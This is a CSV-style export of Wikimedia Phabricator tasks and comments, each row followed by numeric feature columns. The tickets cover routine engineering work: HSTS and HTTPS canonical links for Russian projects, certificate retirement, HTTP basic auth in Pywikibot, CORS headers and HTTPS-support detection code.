+[[ https://trello.com/c/S4C18bTS/71-login-page-should-show-collections-specific-message | name ]]",Needs Triage,90.0,1425060250,1426726477.0,PHID-USER-izqileijt5niumtehazh,True,PHID-USER-izqileijt5niumtehazh,True,PHID-TASK-jezjcvxp6wgw3ba4g2n4,task_description,resolved,True,c3,1,True,True,True,-18,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+91005,A loggedout user attempting to add to a collection is referred to login or create account so that they can login,"
+==== Acceptance Criteria ====
+
+
+--------------------------
+**Trello card**: [[ https://trello.com/c/CdD1LGxi/2-a-loggedout-user-attempting-to-add-to-a-collection-is-referred-to-login-or-create-account-so-that-they-can-login | CdD1LGxi ]]
+
+ * column: Must have
+",Needs Triage,90.0,1424999558,1426283676.0,PHID-USER-iedamnrw3opyzyxhmker,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-33uaq4ge7wywzlihpnuy,task_description,resolved,True,c3,1,False,False,True,-18,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+426251,A loggedout user attempting to add to a collection is referred to login or create account so that they can login,"Looks done to me, plus in `duplicated elsewhere` column so closing.",,,1426283676,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-33uaq4ge7wywzlihpnuy,task_subcomment,,True,c3,1,True,,,-16,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+90527,Enable HSTS and point rel=canonical to HTTPS for all Russian Wikimedia projects,"Since Russian Wikimedia projects are HTTPS only and have HSTS enabled, we should set its wgCanonicalServer to HTTPS, so that Bing will update the links to HTTPS.
+
+[1] https://www.bing.com/search?q=site%3aru.wikipedia.org
+
+>>! In T91352#1103471, @Eloquence wrote:
+> A Russian Wikipedia community member implemented a JavaScript redirect to send Russian Wikipedia traffic to HTTPS in August 2014, so most Russian Wikipedia traffic has been going over HTTPS since last year. A similar hack was in place in Russian Wikinews. The resulting configuration was vulnerable to man-in-the-middle attacks, as it depended on users first loading the insecure version. It also caused a major performance hit for users due to the double-loading. In consultation with Russian Wikimedia community members, consistent with our long term HTTPS rollout objectives, and consistent with the pre-existing request to participate in the HTTPS beta, we superseded the hack with a server-side redirect and HSTS as a secure and consistent default configuration for all Russian language projects.
+",Needs Triage,90.0,1424751765,1424882266.0,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-TASK-w25swvhffe4axtast3v4,task_description,resolved,True,c3,1,True,True,True,-19,True,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,1,0,1,1,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1
+420670,Enable HSTS and point rel=canonical to HTTPS for all Russian Wikimedia projects,"Ok, as there doesn't seem to be a ticket about HSTS I'm using this one instead.",,,1425466605,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-w25swvhffe4axtast3v4,task_subcomment,,True,c3,1,True,,,-18,True,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+417067,Enable HSTS and point rel=canonical to HTTPS for all Russian Wikimedia projects,">>! In T90527#1065142, @Nemo_bis wrote:
+>> Since Russian Wikimedia projects are HTTPS only and have HSTS enabled
+> 
+> Can you mention the commit which made them so, please?
+
+Sorry, I don't know! @JanZerebecki told me to update the canonical links for all Russian projects. I also checked the response headers, and indeed they were HTTPS only.
+",,,1424882161,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-w25swvhffe4axtast3v4,task_subcomment,,True,c3,1,True,,,-19,True,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,0,1,0,0,0,1
+417049,Enable HSTS and point rel=canonical to HTTPS for all Russian Wikimedia projects,"Change 192502 merged by jenkins-bot:
+Point rel=canonical to HTTPS for all ru projects
+
+[[https://gerrit.wikimedia.org/r/192502]]",,,1424880298,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w25swvhffe4axtast3v4,task_subcomment,,True,c3,1,False,,,-19,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+416931,Enable HSTS and point rel=canonical to HTTPS for all Russian Wikimedia projects,"> Since Russian Wikimedia projects are HTTPS only and have HSTS enabled
+
+Can you mention the commit which made them so, please?",,,1424858749,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-w25swvhffe4axtast3v4,task_subcomment,,True,c3,1,True,,,-19,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,0
+416628,Enable HSTS and point rel=canonical to HTTPS for all Russian Wikimedia projects,"Change 192502 had a related patch set uploaded (by Chmarkine):
+Point rel=canonical to HTTPS for all ru projects All Russian Wikimedia projects are HTTPS only, so change the canonical links to have search engines update their indexes.
+
+[[https://gerrit.wikimedia.org/r/192502]]
+
+#patch-for-review",,,1424806591,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w25swvhffe4axtast3v4,task_subcomment,,True,c3,1,False,,,-19,True,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+416279,Enable HSTS and point rel=canonical to HTTPS for all Russian Wikimedia projects,https://gerrit.wikimedia.org/r/192502/,,,1424754141,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-w25swvhffe4axtast3v4,task_subcomment,,True,c3,1,True,,,-19,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+90330,GuidedTour uses synchronous XMLHttpRequest,https://github.com/wikimedia/mediawiki-extensions-GuidedTour/blob/fd80f6e7a3/modules/ext.guidedTour.lib/ext.guidedTour.lib.main.js#L124,Needs Triage,90.0,1424498772,1424718836.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-TASK-4dqygmko7i6qnjivuses,task_description,duplicate,True,c3,1,True,False,True,-19,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+90329,FlaggedRevs uses synchronous XMLHttpRequests,https://github.com/wikimedia/mediawiki-extensions-FlaggedRevs/blob/bcdb67067d/frontend/modules/ext.flaggedRevs.review.js#L406,Needs Triage,90.0,1424498718,1712678231.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-kbh44ilci6y57bxkoujy,task_description,resolved,True,c3,1,True,False,False,-19,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+2313122,FlaggedRevs uses synchronous XMLHttpRequests,That feature was removed in {b7dba6952ee474d70c4b852908e373e4b58a5dbe}.,,,1712678231,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kbh44ilci6y57bxkoujy,task_subcomment,,True,c3,3,True,,,457,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+90002,icinga-admin certificate expires 2015-02-26 - replace or deprecate?,"The icinga-admin.wikimedia.org certificate expires on 2015-02-26.
+
+Since we locked down icinga.wikimedia.org, I'd like to propose we simply remove the icinga-admin url support entirely, rather than maintaining an unneeded secondary certificate.
+
+If this need changes in the future, then we can re-evaluate a purchase at that time.",Needs Triage,90.0,1424379253,1424459255.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-min4ppsdbf5smrkan2wx,task_description,resolved,True,c3,1,True,True,True,-19,True,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+414953,icinga-admin certificate expires 2015-02-26 - replace or deprecate?,"I neglected to pull the install cert, done via: https://gerrit.wikimedia.org/r/#/c/191923/
+
+
+This is now all merged and complete, icinga-admin.wikimedia.org is also revoked from RapidSSL (it expired next week, but its a good habit to revoke certs anyhow.)",,,1424459255,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-min4ppsdbf5smrkan2wx,task_subcomment,,True,c3,1,True,,,-19,True,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+414391,icinga-admin certificate expires 2015-02-26 - replace or deprecate?,"Yeah, I think that's fine. We might move away from Icinga within the next year entirely, anyway.",,,1424380497,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-min4ppsdbf5smrkan2wx,task_subcomment,,True,c3,1,True,,,-19,True,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+414380,icinga-admin certificate expires 2015-02-26 - replace or deprecate?,"Patchsets:
+
+https://gerrit.wikimedia.org/r/#/c/191699/
+
+https://gerrit.wikimedia.org/r/#/c/191700/",,,1424379794,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-min4ppsdbf5smrkan2wx,task_subcomment,,True,c3,1,True,,,-19,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+414373,icinga-admin certificate expires 2015-02-26 - replace or deprecate?,"I'm going to link in the patchsets to disable this, but I'd like to get feedback from other opsen before implementation.",,,1424379535,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-min4ppsdbf5smrkan2wx,task_subcomment,,True,c3,1,True,,,-19,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+89417,Support HTTP basic auth,"pwb doesn't use info from `authenticate['en.wikipedia.org'] = ('user','pa55w0rd')` for HTTP basic auth acces, as [described in Manual:Pywikibot/Use_on_third-party_wikis](https://www.mediawiki.org/wiki/Manual:Pywikibot/Use_on_third-party_wikis#Bot_.26_HTTP_auth)
+
+threadedhttp.py sends no basic auth headers (verified by logfile)",Needs Triage,90.0,1423785108,1423961513.0,PHID-USER-qctjjxrc7cabhbspfpv6,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-rizzrkaarvvy2fbfbooi,task_description,resolved,True,c3,1,False,False,True,-20,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+411749,Support HTTP basic auth,"Change 190482 merged by jenkins-bot:
+HTTP basic authorization
+
+[[https://gerrit.wikimedia.org/r/190482]]",,,1423958853,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rizzrkaarvvy2fbfbooi,task_subcomment,,True,c3,1,False,,,-20,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+411120,Support HTTP basic auth,"Change 190482 had a related patch set uploaded (by Mjbmr):
+HTTP basic authorization
+
+[[https://gerrit.wikimedia.org/r/190482]]
+
+#patch-for-review",,,1423848716,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rizzrkaarvvy2fbfbooi,task_subcomment,,True,c3,1,False,,,-20,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+89415,looking to understand how frequently mobile ISP/proxy injected http tracking headers appear in the wild,"Research is not actively working on this, but wanted to bring this to your attention before we archive it:
+
+
+https://trello.com/c/NIUZkYG0/652-header-research-for-berkely-people
+
+",Needs Triage,90.0,1423784327,1582582451.0,PHID-USER-boqv2doznygy3kwrkyly,False,PHID-USER-dccizlq7dtc2zihfk7cd,False,PHID-TASK-qgqwaewnzzre7neml4sr,task_description,declined,True,c3,1,False,False,False,-20,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0
+1449897,looking to understand how frequently mobile ISP/proxy injected http tracking headers appear in the wild,"@Jcross 
+
+The link in the description does not work.  Most of the people originally active on this ticket no longer work here.  I think that it is safe to close this ticket.",,,1582581779,,PHID-USER-boqv2doznygy3kwrkyly,False,,,PHID-TASK-qgqwaewnzzre7neml4sr,task_subcomment,,True,c3,3,False,,,242,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0
+1449737,looking to understand how frequently mobile ISP/proxy injected http tracking headers appear in the wild,Hi @ggellerman ! Security is working on cleaning up our boards a bit and we would appreciate confirmation that this Privacy work is still needed. We were hoping you could take a look and let us know? If you would like to move forward we will ensure it is triaged and assigned accordingly.,,,1582573479,,PHID-USER-bt7mibtmfclb4x2gr4hf,False,,,PHID-TASK-qgqwaewnzzre7neml4sr,task_subcomment,,True,c3,3,False,,,242,True,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,1,1,1,0,0,0
+416755,looking to understand how frequently mobile ISP/proxy injected http tracking headers appear in the wild,"Since this is not relevant to any immediate need and it's a low priority on our end, I'll let the OP know that we're not planning to do any work on this any time soon.",,,1424816784,,PHID-USER-qb5aoo443n6fezsozhv4,False,,,PHID-TASK-qgqwaewnzzre7neml4sr,task_subcomment,,True,c3,1,False,,,-19,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+413804,looking to understand how frequently mobile ISP/proxy injected http tracking headers appear in the wild,"It would be interesting, definitely. I think a few people in the privacy tooling sphere would be interested in what we're seeing. However, the results wouldn't be particularly useful for anything I'm doing day-to-day, so I wouldn't push for you guys to do it based on me.
+
+But the collection infrastructure and process for these types of problems would be very useful-- e.g., it would be very useful to me to collect stats on what TLS ciphers we negotiate with all our users. If this project would help us work out the process and tech needed to run time-limited collections on 100% of our traffic and publish anonymized reports, I would be in favor of that.",,,1424300922,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qgqwaewnzzre7neml4sr,task_subcomment,,True,c3,1,True,,,-20,True,1,1,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+413793,looking to understand how frequently mobile ISP/proxy injected http tracking headers appear in the wild,"ping @csteipp is this of any interest? If not, we'll close it and respond to the OP.",,,1424299732,,PHID-USER-qb5aoo443n6fezsozhv4,False,,,PHID-TASK-qgqwaewnzzre7neml4sr,task_subcomment,,True,c3,1,False,,,-20,True,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0
+88532,"Add ""Access-Control-Allow-Origin: *"" HTTP header to read-only API responses","To allow client-side JavaScript applications to fetch information from MediaWiki APIs, please add the following header to API responses, allowing the response to be read by an application running on a different domain:
+
+Access-Control-Allow-Origin: *
+
+========
+
+https://www.mediawiki.org/wiki/API:Cross-site_requests
+
+In the current documentation for CORS usage in cross-site requests, it states:
+
+""If the CORS origin check passes, MediaWiki will include the Access-Control-Allow-Credentials: true header in the response, so authentication cookies may be sent.""
+
+What it should also say -- once this is implemented -- is that if the CORS origin check **doesn't** pass, MediaWiki will **not** include the Access-Control-Allow-Credentials: true header in the response, so authentication cookies may **not** be sent, but MediaWiki will still include the Access-Control-Allow-Origin: * header so that **unauthenticated** requests can be accessed from any origin.
+
+========
+
+Notes:
+
+  - JSONP, which is currently enabled, is an old, less secure workaround for the problem that CORS now solves correctly.
+  - [[ https://phabricator.wikimedia.org/T62835 | A previous request, that was declined for invalid reasons. ]]
+  - [[ https://www.mediawiki.org/wiki/Thread:Talk:Requests_for_comment/API_Future/CORS_and_third-party_web_apps | A related API roadmap discussion ]]
+  - Users trying to access a MediaWiki API and expecting CORS to be enabled: [[ https://stackoverflow.com/questions/3873636/no-response-from-mediawiki-api-using-jquery | 1 ]], [[ https://stackoverflow.com/questions/23952045/wikipedia-api-cross-origin-requests  | 2 ]]
+",Needs Triage,90.0,1423050653,1423066428.0,PHID-USER-bec4qutr6lgmigibbdfi,False,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-TASK-hbavz2slp7pstps5h5jc,task_description,duplicate,True,c3,1,False,False,True,-22,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,1,1,1,0,1,0,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+406660,"Add ""Access-Control-Allow-Origin: *"" HTTP header to read-only API responses",Opening a duplicate bug because you don't like the closure of your last one isn't the way to go about things. Further comment on the previous bug.,,,1423066424,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-hbavz2slp7pstps5h5jc,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+406573,"Add ""Access-Control-Allow-Origin: *"" HTTP header to read-only API responses","I would like to suggest [[ https://github.com/hubgit/mediawiki/commit/f247442b9fd928a86b262b6badc24bbbb34f8f0f | this change to the response headers ]], but I don't know enough about the rest of the system to know whether it would have unintended side effects.",,,1423052616,,PHID-USER-bec4qutr6lgmigibbdfi,False,,,PHID-TASK-hbavz2slp7pstps5h5jc,task_subcomment,,True,c3,1,False,,,-22,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1
+88361,Review HttpsSupport logging code for re-deployment,"When Tim reviewed the HTTPS support detection survey in 2013, he identified several issues with the instrumentation that made us doubt the quality of the results:
+
+{P239}
+
+Since Erik would like us to re-run this test, I have revised the instrumentation code to address these issues.
+
+* The requests are now for //performance.wikimedia.org, which is not likely to have an open connection.
+* The order of the two tests is randomized.
+* Both tests are set to time out after 5s, but we never log before 6 seconds have elapsed. This ensures that if the user navigates away from the page before both tests have had 5 full seconds to succeed, we don't log anything at all. This should control for systemic error resulting from different performance characteristics of HTTP and HTTPS.
+
+The original instrumentation code is available here:
+https://raw.githubusercontent.com/wikimedia/mediawiki-extensions-WikimediaEvents/433cd6874b6f16a0d6940d19ffe01b75acd80580/modules/ext.coreEvents.httpsSupport.js
+
+The diff containing my proposed changes is available here:
+
+{F34553}
+
+At Erik's request, I am keeping this private. I am obviously aware that the code from the previous round of data collection is publicly available, and that the changes will be public too if and when we start serving them to clients.",Needs Triage,90.0,1422921397,1438966819.0,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-6lzescuz63iaojerpnjo,task_description,resolved,True,c3,1,True,False,True,-22,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+424295,Review HttpsSupport logging code for re-deployment,"Change 195823 merged by Ori.livneh:
+Re-introduce HTTPS support detection
+
+[[https://gerrit.wikimedia.org/r/195823]]",,,1426038653,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+424294,Review HttpsSupport logging code for re-deployment,"Change 195823 had a related patch set uploaded (by Ori.livneh):
+Re-introduce HTTPS support detection
+
+[[https://gerrit.wikimedia.org/r/195823]]
+",,,1426038620,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+424293,Review HttpsSupport logging code for re-deployment,"Change 195822 merged by Ori.livneh:
+Re-introduce HTTPS support detection
+
+[[https://gerrit.wikimedia.org/r/195822]]",,,1426038610,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lzescuz63iaojerpnjo,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+424292,Review HttpsSupport logging code for re-deployment,"Change 195822 had a related patch set uploaded (by Ori.livneh):
+Re-introduce HTTPS support detection
+
+[[https://gerrit.wikimedia.org/r/195822]]
